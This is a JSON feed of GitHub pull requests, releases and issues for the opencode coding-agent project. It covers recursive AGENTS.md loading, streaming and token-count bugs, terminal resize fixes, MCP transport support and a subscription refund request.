        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "Added recursive AGENTS.md loading from child dirs",
        "text": "## Summary I've successfully implemented recursive loading of AGENTS.md files from child folders. Here's what I did: ### Changes Made: 1. **Added `findDown` function** in `/home/runner/work/opencode/opencode/packages/opencode/src/util/filesystem.ts:69-84`: - Searches for files recursively in child directories using Bun's glob functionality - Includes a configurable `maxDepth` parameter (default: 3) to prevent performance issues - Uses the pattern `**/${target}` to find files at any depth 2. **Updated `custom()` function** in `/home/runner/work/opencode/opencode/packages/opencode/src/session/system.ts:53-84`: - Now searches both upward (existing functionality) and downward (new functionality) for AGENTS.md files - Maintains backward compatibility with existing behavior - Limits search depth to 3 levels to avoid performance issues in large codebases ### Key Features: - **Backward Compatible**: Existing upward search functionality remains unchanged - **Performance Optimized**: Limited to 3 levels of depth by default to prevent scanning entire large codebases - **Comprehensive Coverage**: Now finds AGENTS.md files in: - Current directory and parent directories (existing) - Child directories up to 3 levels deep (new) - Global config directory (existing) - Home directory `.claude` folder (existing) ### Testing: The implementation was tested and verified to correctly find AGENTS.md files at different directory levels, respecting the depth limit parameter. This should resolve the issue where AGENTS.md files in child folders were being ignored, allowing for more granular project-specific instructions at different directory levels. Closes #847 [view session](https://opencode.ai/s/gI1j1e77) | [view log](/sst/opencode/actions/runs/16253302844)",
        "url": "https://github.com/anomalyco/opencode/pull/952",
        "timestamp": "2026-08-12T13:38:41Z",
        "metrics": {
          "reactions": 2,
          "comments": 0
        },
        "labels": [],
        "author": "opencode-agent[bot]",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:release:369485660",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "release",
        "title": "v1.18.17",
        "text": "## Core ### Bugfixes - Made session compaction keep complete recent turns and produce clearer summaries for smaller models. - Added MERGE Gateway reasoning variants so those model options work correctly. (@MatthewFeroz) - Capped automatic session retries and added jitter to reduce repeated retry storms. - Enabled PDF attachments for GitHub Copilot models that advertise PDF vision support. (@stevenao) - Applied the correct sampling defaults to DeepSeek V4 Flash on supported providers. - Routed all Muse family models to the correct Meta system prompt. (@mreso) ## Desktop ### Bugfixes - Updated Chinese developer terminology to use more widely recognized translations. - Used the server's current default model instead of stale local config when choosing the default model. **Thank you to 6 community contributors:** - @mreso: - fix(session): route all Muse family models to the Meta system prompt (#41581) - @OpeOginni: - fix(ui): correct OC-2 weak icon color (#41504) - @peculiarnewbie: - feat(console): add go usage endpoint (#16513) - @stevenao: - fix(opencode): detect Copilot PDF input support (#41522) - @MatthewFeroz: - fix(provider): add Merge Gateway reasoning variants (#41867) - @skyzhao1223: - docs: fix broken DigitalOcean and Daytona links (#42048) - docs: fix provider display name and PAT typos (#42034)",
        "url": "https://github.com/anomalyco/opencode/releases/tag/v1.18.17",
        "createdAt": "2026-08-12T20:25:07Z",
        "updatedAt": "2026-08-12T20:25:07Z",
        "timestamp": "2026-08-12T20:25:07Z",
        "labels": [],
        "author": "opencode-agent[bot]",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:release:369579453",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "release",
        "title": "v1.18.18",
        "text": "## Core ### Bugfixes - Select the Kimi system prompt correctly for official Moonshot and Kimi providers - Fix xhigh reasoning effort for xai models",
        "url": "https://github.com/anomalyco/opencode/releases/tag/v1.18.18",
        "createdAt": "2026-08-13T01:15:04Z",
        "updatedAt": "2026-08-13T01:15:04Z",
        "timestamp": "2026-08-13T01:15:04Z",
        "labels": [],
        "author": "opencode-agent[bot]",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:release:https://github.com/anomalyco/opencode/releases/tag/v1.18.17",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "release",
        "title": "v1.18.17",
        "text": "## Core ### Bugfixes - Made session compaction keep complete recent turns and produce clearer summaries for smaller models. - Added MERGE Gateway reasoning variants so those model options work correctly. (@MatthewFeroz) - Capped automatic session retries and added jitter to reduce repeated retry storms. - Enabled PDF attachments for GitHub Copilot models that advertise PDF vision support. (@stevenao) - Applied the correct sampling defaults to DeepSeek V4 Flash on supported providers. - Routed all Muse family models to the correct Meta system prompt. (@mreso) ## Desktop ### Bugfixes - Updated Chinese developer terminology to use more widely recognized translations. - Used the server's current default model instead of stale local config when choosing the default model. **Thank you to 6 community contributors:** - @mreso: - fix(session): route all Muse family models to the Meta system prompt (#41581) - @OpeOginni: - fix(ui): correct OC-2 weak icon color (#41504) - @peculiarnewbie: - feat(console): add go usage endpoint (#16513) - @stevenao: - fix(opencode): detect Copilot PDF input support (#41522) - @MatthewFeroz: - fix(provider): add Merge Gateway reasoning variants (#41867) - @skyzhao1223: - docs: fix broken DigitalOcean and Daytona links (#42048) - docs: fix provider display name and PAT typos (#42034)",
        "url": "https://github.com/anomalyco/opencode/releases/tag/v1.18.17",
        "timestamp": "2026-08-12T20:25:07Z",
        "labels": [],
        "author": "opencode-agent[bot]",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:release:https://github.com/anomalyco/opencode/releases/tag/v1.18.18",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "release",
        "title": "v1.18.18",
        "text": "## Core ### Bugfixes - Select the Kimi system prompt correctly for official Moonshot and Kimi providers - Fix xhigh reasoning effort for xai models",
        "url": "https://github.com/anomalyco/opencode/releases/tag/v1.18.18",
        "timestamp": "2026-08-13T01:15:04Z",
        "labels": [],
        "author": "opencode-agent[bot]",
        "assignees": [],
        "change": "new"
      }
    ],
    "events": [
      {
        "id": "event:6c0a39e274a8c8d7f130",
        "signalId": "github:anomalyco/opencode:issue:42329",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42329",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Fetch Failed",
          "text": "I got constantly Fetch tfailed errors after last update. restart app help for 0-3 sentences and it happen again and again. Daily usage 0% Weekly usage 10% Monthly 50%.",
          "url": "https://github.com/anomalyco/opencode/issues/42329",
          "createdAt": "2026-08-13T13:24:18Z",
          "updatedAt": "2026-08-13T13:40:47Z",
          "timestamp": "2026-08-13T13:40:47Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "devfortsystems",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:cd262a0c4ae2f63f7668",
        "signalId": "github:anomalyco/opencode:issue:42325",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42325",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Bug] Stream silently returns empty when calling Zhipu via Anthropic-compatible provider (`/api/anthropic`)",
          "text": "## Summary When configuring OpenCode to call **Zhipu GLM (智谱)** via the **Anthropic-compatible endpoint** (`https://open.bigmodel.cn/api/anthropic`) with `@ai-sdk/anthropic`, the LLM stream **silently returns empty**: - Stream starts (`message=stream ... agent=build mode=primary`) - Within ~200–300ms the loop exits with `step=1` → `exiting loop` - **No chunks, no error, no warning, exit code 0** - Output is completely blank — the user sees nothing This is the \"SSE parser silently swallows error\" pattern already referenced in #33888, but happening at the **provider protocol level** even when `provider.npm` is correctly applied (the catalog shows `package: @ai-sdk/anthropic`, so the npm field IS taking effect — this is not the npm-ignored case). ## Environment - **OpenCode**: 1.18.18 (installed via `npm install -g opencode-ai`) - **OS**: macOS Darwin 25.5.0 (arm64) - **Provider config**: ```jsonc { \"provider\": { \"zhipu\": { \"npm\": \"@ai-sdk/anthropic\", \"name\": \"智谱 GLM\", \"options\": { \"baseURL\": \"https://open.bigmodel.cn/api/anthropic\", \"apiKey\": \"...\" }, \"models\": { \"glm-5.2\": { \"name\": \"GLM-5.2\", \"reasoning\": true, \"tool_call\": true } } } }, \"model\": \"zhipu/glm-5.2\" } ``` ## Reproduction 1. Configure Zhipu via the Anthropic-compatible endpoint as shown above. 2. Run `opencode run \"测试\"`. 3. Observe: blank stdout, exit 0, no error in logs. ## Expected Either: - A successful streamed response, OR - A visible error explaining what the SDK failed to parse. ## Actual Stream silently aborts. Debug log (`--print-logs --log-level DEBUG`) timeline: ``` T+0 loop step=0 T+0 stream providerID=zhipu modelID=glm-5.2 agent=build mode=primary T+0 llm runtime selected llm.runtime=ai-sdk llm.provider=zhipu T+250ms loop step=1 T+250ms exiting loop T+254ms disposing instance ``` No `chunk`, no `error`, no `warn` between `stream` and `exiting loop`. The 250ms duration is far shorter than a real API call (~3–4s), so the SDK is returning an empty stream rather than failing loudly. ## Evidence that the upstream API is healthy Direct `curl` against the same endpoint returns valid SSE chunks: ```bash curl -sN -X POST \"https://open.bigmodel.cn/api/anthropic/v1/messages\" \\ -H \"x-api-key: $KEY\" -H \"anthropic-version: 2023-06-01\" \\ -d '{\"model\":\"glm-5.2\",\"max_tokens\":50,\"stream\":true,\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}]}' ``` Returns standard `message_start` / `content_block_delta` / `message_stop` events. The failure is **not** at the API layer — it's somewhere in the `@ai-sdk/anthropic` ↔ Zhipu anthropic-compat boundary. ## Workaround Switch to Zhipu's **OpenAI-compatible endpoint** — it works flawlessly: ```jsonc { \"provider\": { \"zhipu\": { \"npm\": \"@ai-sdk/openai-compatible\", \"options\": { \"baseURL\": \"https://open.bigmodel.cn/api/paas/v4\", \"apiKey\": \"...\" }, \"models\": { \"glm-5.2\": { ... } } } } } ``` Same `opencode run \"测试\"` then returns the expected response immediately. This matches what community members recommended in #2431. ## What I'd like OpenCode to improve 1. **Don't silently swallow stream errors.** If the SSE parser hits something it can't handle, emit at least a WARN-level log line. The current behavior (zero diagnostic output, exit 0) makes this category of bug nearly impossible to diagnose without source-level debugging. 2. **Document the Zhipu anthropic-compat incompatibility** — either fix the SDK path, or add a config-time warning that for Zhipu, the OpenAI-compatible endpoint is the recommended one. ## Related issues - #33888 — Provider-level `npm` field silently ignored (different root cause, similar silent-failure surface) - #2431, #2383 — Community already recommending OpenAI-compatible for Zhipu - #33280 — GLM-5.2 + OpenAI-compatible has separate \"Empty message content sanitised\" issue (orthogonal) ## Diagnostics Happy to provide full debug logs, `opencode debug v2` output, or run any experimental builds if it helps narrow down where the stream is being dropped.",
          "url": "https://github.com/anomalyco/opencode/issues/42325",
          "createdAt": "2026-08-13T13:16:47Z",
          "updatedAt": "2026-08-13T13:39:58Z",
          "timestamp": "2026-08-13T13:39:58Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "spladc-creator",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:b3a65cfb608eb0f16699",
        "signalId": "github:anomalyco/opencode:issue:42322",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42322",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[bug]出现了令人意外的错误或者问题/An unexpected error or problem occurred",
          "text": "### Description 我认为此问题应该是其他问题的重复 因为我之前有遇到过此问题，于是我更新了结果更新之后又遇到该问题 正常情况下，他应该让我等到明天早上再使用opencode但他并没有他一直在尝试重新尝试 如果您认为我冒犯了您，您随时可以关闭这个 I think this question should be a duplicate of other questions Because I have encountered this problem before, I updated the results and encountered the problem again. Normally he would have asked me to wait until tomorrow morning to use opencode but he didn't and he kept trying again If you think I've offended you, you can always close this The expected behavior is that it will pop up a long timer like 4xxxx ### Plugins _No response_ ### OpenCode version latest ### Steps to reproduce 1.让ai完成任何工作 2.在ai完成这个工作之后，关闭这个，重新开始一个 1. Let AI complete any work 2. After ai completes this work, close this one and start again ### Screenshot and/or share link <img width=\"1132\" height=\"192\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/61527e57-97ae-468b-ace9-d7277125720e\" /> ### Operating System Windows ### Terminal desktop",
          "url": "https://github.com/anomalyco/opencode/issues/42322",
          "createdAt": "2026-08-13T13:07:39Z",
          "updatedAt": "2026-08-13T13:35:56Z",
          "timestamp": "2026-08-13T13:35:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 5
          },
          "labels": [],
          "author": "TransferStation-ai",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:ef4ada97a4c11a615e5f",
        "signalId": "github:anomalyco/opencode:pull_request:40030",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:40030",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): add spinnerVerbs config to customize TUI spinner text",
          "text": "### Issue for this PR Closes #19401 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds a `spinner_verbs` config option to `.opencode/tui.json` that lets users customize the verb text shown next to the spinner while the model is thinking, matching a feature available in similar tools. Users can set `mode: \"replace\"` to use only their own verbs, or `mode: \"append\"` to add to the default list. When the config is absent, behavior is unchanged — the spinner still shows the static \"Thinking\" text. The `Spinner` component now accepts an optional `verbs` prop and cycles through the list on a 3-second interval. The verb list is resolved in `TuiConfig.resolve()` where user verbs are merged with defaults based on the mode. ### How did you verify your code works? - Ran `tsgo --noEmit` across all 29 workspace packages — zero type errors - Started the TUI in dev mode, configured custom verbs, sent a complex prompt, and observed the spinner cycling through \"Summoning demons...\" → \"Hallucinating...\" → etc. in the live terminal output ### Screenshots / recordings ``` ⠹ Summoning demons... ⠦ Hallucinating... ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/40030",
          "createdAt": "2026-08-01T11:28:14Z",
          "updatedAt": "2026-08-13T13:35:30Z",
          "timestamp": "2026-08-13T13:35:30Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [],
          "author": "dev-tnsq",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:9ce71043552547bacea5",
        "signalId": "github:anomalyco/opencode:issue:42324",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42324",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Multi-step tool calls overwrite token counts instead of accumulating (output, reasoning, cache.write lost)",
          "text": "## Bug In multi-step tool-call assistant messages, `processor.ts` overwrites `assistantMessage.tokens` on each `step-finish` event instead of accumulating additive fields. Only the last step's output, reasoning, and cache.write survive. ## Root cause `packages/opencode/src/session/processor.ts` step-finish handler: ```ts ctx.assistantMessage.cost += usage.cost // accumulates ctx.assistantMessage.tokens = usage.tokens // overwrites! ``` ## Impact For an assistant message with N tool-call steps, the message-level tokens only reflect the last step: - Context metrics (session context meter) under-report token usage for multi-step messages - `compaction.isOverflow` checks use `lastFinished.tokens` (`prompt.ts`), so underestimating tokens delays auto-compaction and makes the next request more likely to hit the provider context limit ## Notes - Follow-up to #21913, which was auto-closed for inactivity (bot comment says to open a new one if still relevant). The bug still exists on the latest `dev`. - Earlier fix attempts (#22077, #22032, #10215) were closed unmerged by automated cleanup, not by technical review. ## Expected behavior Output, reasoning, and cache.write tokens should accumulate across steps (like `cost` already does). Input and cache.read should keep the final step's values, since the final step's request already includes all prior steps.",
          "url": "https://github.com/anomalyco/opencode/issues/42324",
          "createdAt": "2026-08-13T13:15:58Z",
          "updatedAt": "2026-08-13T13:34:21Z",
          "timestamp": "2026-08-13T13:34:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "gold-beyond",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:6405801014d2fb9c6721",
        "signalId": "github:anomalyco/opencode:issue:8058",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:8058",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Feature Request: Add HTTP Streamable transport support for remote MCP servers",
          "text": "## Summary The current `type: \"remote\"` MCP configuration only supports **SSE (Server-Sent Events)** transport. However, the MCP protocol now includes **HTTP Streamable** transport (also called `http` or `streamable-http`), which is used by several major MCP servers including Sanity. ## Problem When configuring Sanity's hosted MCP server: ```json { \"mcp\": { \"sanity\": { \"type\": \"remote\", \"url\": \"https://mcp.sanity.io\", \"oauth\": {} } } } ``` OpenCode fails with: ``` SSE error: Non-200 status code (405) ``` This is because Sanity uses HTTP Streamable transport, not SSE. The 405 \"Method Not Allowed\" occurs because OpenCode sends a GET request expecting SSE, but Sanity expects POST requests for HTTP streaming. ## Current Workaround Using `mcp-remote` as a local proxy: ```json { \"mcp\": { \"sanity\": { \"type\": \"local\", \"command\": [\"npx\", \"-y\", \"mcp-remote\", \"https://mcp.sanity.io\", \"--transport\", \"http-only\"], \"timeout\": 60000 } } } ``` This works but adds unnecessary overhead and complexity. ## Proposed Solution Add native support for HTTP Streamable transport in remote MCP configuration: ```json { \"mcp\": { \"sanity\": { \"type\": \"remote\", \"transport\": \"http\", // or \"streamable-http\" \"url\": \"https://mcp.sanity.io\", \"oauth\": {} } } } ``` Or alternatively, a new type: ```json { \"mcp\": { \"sanity\": { \"type\": \"http\", // new type alongside \"remote\" (SSE) and \"local\" \"url\": \"https://mcp.sanity.io\", \"oauth\": {} } } } ``` ## Reference Other MCP clients already support this: - **Claude Code**: `claude mcp add -t http sanity https://mcp.sanity.io` - **Cursor**: `{ \"type\": \"http\", \"url\": \"https://mcp.sanity.io\" }` - **VS Code**: `{ \"type\": \"http\", \"url\": \"https://mcp.sanity.io\" }` See: https://www.sanity.io/docs/compute-and-ai/mcp-server ## Environment - OpenCode version: 1.1.14 - macOS version: 15.7.4 - Affected MCP server: Sanity (https://mcp.sanity.io)",
          "url": "https://github.com/anomalyco/opencode/issues/8058",
          "createdAt": "2026-01-12T19:49:57Z",
          "updatedAt": "2026-08-13T13:33:00Z",
          "timestamp": "2026-08-13T13:33:00Z",
          "metrics": {
            "reactions": 0,
            "comments": 11
          },
          "labels": [],
          "author": "chindris-mihai-alexandru",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:83a46ef15b2da0fdfc64",
        "signalId": "github:anomalyco/opencode:issue:42307",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42307",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Tool call JSON payload truncated — all tools fail with 'Unterminated string in JSON'",
          "text": "### Description Используется Windows PowerShell 5.1 Команда запуска: opencode в папке C:\\Users\\MarinaAI\\Documents\\Default Project\\budget-app Любой вызов инструмента (bash, read, glob и т.д.) обрывается на середине JSON Пример ошибки: Invalid input for tool bash: JSON parsing failed: Text: {\"command\": \" (position 13) Пробовали обновить opencode до последней версии — не помогло ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System windows 11 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42307",
          "createdAt": "2026-08-13T11:04:58Z",
          "updatedAt": "2026-08-13T13:30:16Z",
          "timestamp": "2026-08-13T13:30:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "marinamartynova",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:0edee72888525a48920a",
        "signalId": "github:anomalyco/opencode:issue:42225",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42225",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI does not re-layout on terminal shrink (only on grow), leaving stale width",
          "text": "## Summary When the terminal is resized, the opencode TUI re-layouts on **grow** but not on **shrink**, and not on the initial attach. The drawn width stays at its previous value, so the TUI either leaves blank space or overflows the terminal. Measured in a browser-hosted terminal (xterm.js over a WebSocket PTY, opencode 1.18.16): | terminal columns | columns opencode actually draws | result | |---|---|---| | 100 (initial) | 78 | under-fills — blank space on the right | | 119 (grown) | 117 | correct, follows the resize | | 68 (shrunk) | 117 | stale — overflows the terminal | ## The resize does reach the process This is not a missing-notification problem. The chain was verified layer by layer: - the terminal element resizes - xterm.js recomputes its grid (26 -> 15 -> 31 rows) - the frontend sends the new size over the WebSocket: `{\"type\":\"resize\",\"data\":{\"cols\":68,\"rows\":27}}` - the PTY receives it and delivers SIGWINCH — a plain `bash` on the *same* host over the *same* transport re-wraps correctly, so the signal is being delivered Only the last step fails: opencode receives the new size and re-layouts on grow, but keeps the old width on shrink and on the initial draw. ## Workaround Forcing a redraw inside the TUI (e.g. `Ctrl+L`) restores the correct layout, which is consistent with \"the size is known, but no re-layout is scheduled\". ## Environment - opencode-ai 1.18.16 (release notes for 1.18.17 and 1.18.18 contain no resize-related changes, so this is likely still present) - Linux x86_64; the terminal is xterm.js in a browser, over a WebSocket PTY bridge - Reproduces on every attach; not specific to a model or provider",
          "url": "https://github.com/anomalyco/opencode/issues/42225",
          "createdAt": "2026-08-13T02:32:21Z",
          "updatedAt": "2026-08-13T13:29:48Z",
          "timestamp": "2026-08-13T13:29:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 5
          },
          "labels": [],
          "author": "HermanShi",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:3208dc411169d121559c",
        "signalId": "github:anomalyco/opencode:pull_request:42330",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42330",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): refresh terminal size before resize",
          "text": "## Summary - refresh cached TTY dimensions before OpenTUI reads them - install the refresh listener ahead of the OpenTUI `SIGWINCH` listener - remove the listener with the TUI scope ## Testing - `bun test` in `packages/tui` - `bun typecheck` in `packages/tui` - tmux conversation resize smoke test: 68 -> 119 -> 68 columns Fixes #42225",
          "url": "https://github.com/anomalyco/opencode/pull/42330",
          "createdAt": "2026-08-13T13:29:26Z",
          "updatedAt": "2026-08-13T13:29:37Z",
          "timestamp": "2026-08-13T13:29:37Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [
            "contributor",
            "needs:compliance"
          ],
          "author": "fancive",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:d0bce5b2be09c029b42f",
        "signalId": "github:anomalyco/opencode:pull_request:41634",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41634",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(acp): respect default agent variant",
          "text": "### Issue for this PR Closes #41628 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Fresh ACP sessions retained the configured default model but not the matching default agent variant, so initial effort fell back to the first available variant. This carries the variant in the ACP directory snapshot only when the agent and configured models match, then selects it only when that model supports it. It also recognizes visible custom default agents with `mode: \"all\"`. ### How did you verify your code works? - `bun test test/acp` (129 pass) - `bun run typecheck` - `bunx prettier --check src/acp/directory.ts src/acp/service.ts test/acp/service-session.test.ts` - Real ACP subprocess: current `dev` selected `none`; this branch selected the configured `medium` variant ### Screenshots / recordings Not applicable; this changes ACP session initialization without UI changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41634",
          "createdAt": "2026-08-11T01:16:49Z",
          "updatedAt": "2026-08-13T13:26:55Z",
          "timestamp": "2026-08-13T13:26:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "apcooley",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:f68105a768a363f661a7",
        "signalId": "github:anomalyco/opencode:pull_request:42328",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42328",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(app): size update pill to label",
          "text": "### Issue for this PR Closes #42232 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The titlebar update pill used a fixed 68px expanded width, leaving excess space around short translations such as Chinese and constraining longer labels. Size the expanded pill from its label's intrinsic width while preserving the 20px collapsed circle, right-aligned icon, focus/hover animation, and a 192px maximum for unusually long translations. ### How did you verify your code works? - `bun run typecheck` - `bun run test:unit` (722 passed) - `bun run test:browser` (41 passed) - `bun run build` - Repository pre-push monorepo typecheck (30 tasks passed) - Browser layout check: 20px collapsed; 51px Chinese, 65.5px English, and 94.52px French when expanded ### Screenshots / recordings Before, from the issue report: ![Chinese update pill with fixed-width spacing](https://github.com/user-attachments/assets/721f7745-7fa2-4c06-98ab-3639213a2d4e) After the fix, the focused Chinese pill measures 51px instead of the fixed 68px. English and French expand to 65.5px and 94.52px respectively, while every collapsed pill remains 20px. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42328",
          "createdAt": "2026-08-13T13:21:24Z",
          "updatedAt": "2026-08-13T13:22:31Z",
          "timestamp": "2026-08-13T13:22:31Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "dajiaohuang",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:6adadeedca6d5003b81f",
        "signalId": "github:anomalyco/opencode:issue:42321",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42321",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Refund Request – OpenCode Go Subscription",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Dear OpenCode Support Team, I’m writing to request a refund for my recent OpenCode Go subscription payment. I’m a student with a very limited budget, and after reviewing my finances, I realized that this subscription is more than I can reasonably afford at the moment. The payment has put some pressure on my available spending budget, so I would really appreciate it if you could make an exception and issue a refund for the recent subscription charge. I understand that refunds may be subject to your policies, but I kindly ask you to consider my situation and review this request manually. I’m not trying to misuse the service—I simply made a purchase that I now realize I cannot comfortably afford as a student. I would be very grateful if you could refund the recent charge and cancel the subscription so that I’m not charged again. Thank you very much for your time and consideration. I sincerely appreciate any help you can provide. Best regards, [zky6663p@gmail.com](mailto:zky6663p@gmail.com)",
          "url": "https://github.com/anomalyco/opencode/issues/42321",
          "createdAt": "2026-08-13T13:07:21Z",
          "updatedAt": "2026-08-13T13:22:16Z",
          "timestamp": "2026-08-13T13:22:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "jayden264",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:de24260f46c88e0f53f3",
        "signalId": "github:anomalyco/opencode:pull_request:42327",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42327",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(app): register direct session projects",
          "text": "### Issue for this PR Closes #42265 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Direct visits to `/:dir/session` in the new layout created a draft without adding the directory to the current server's project state. Register and touch the directory before creating the draft, matching the existing new-session entry points. The regression test starts with empty project state, opens the encoded directory route, and verifies both the draft redirect and the persisted project/last-project state. ### How did you verify your code works? - `bun run typecheck` - `bun run typecheck:e2e` - `bun run test:unit` (722 passed) - `bun run test:browser` (41 passed) - `bun run test:e2e -- e2e/regression/direct-new-session.spec.ts` (1 passed) - `bun run build` - Repository pre-push monorepo typecheck (30 tasks passed) ### Screenshots / recordings Not applicable; this changes route state registration without changing the UI. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42327",
          "createdAt": "2026-08-13T13:21:21Z",
          "updatedAt": "2026-08-13T13:21:22Z",
          "timestamp": "2026-08-13T13:21:22Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "dajiaohuang",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:005a94d7cea632226022",
        "signalId": "github:anomalyco/opencode:pull_request:42326",
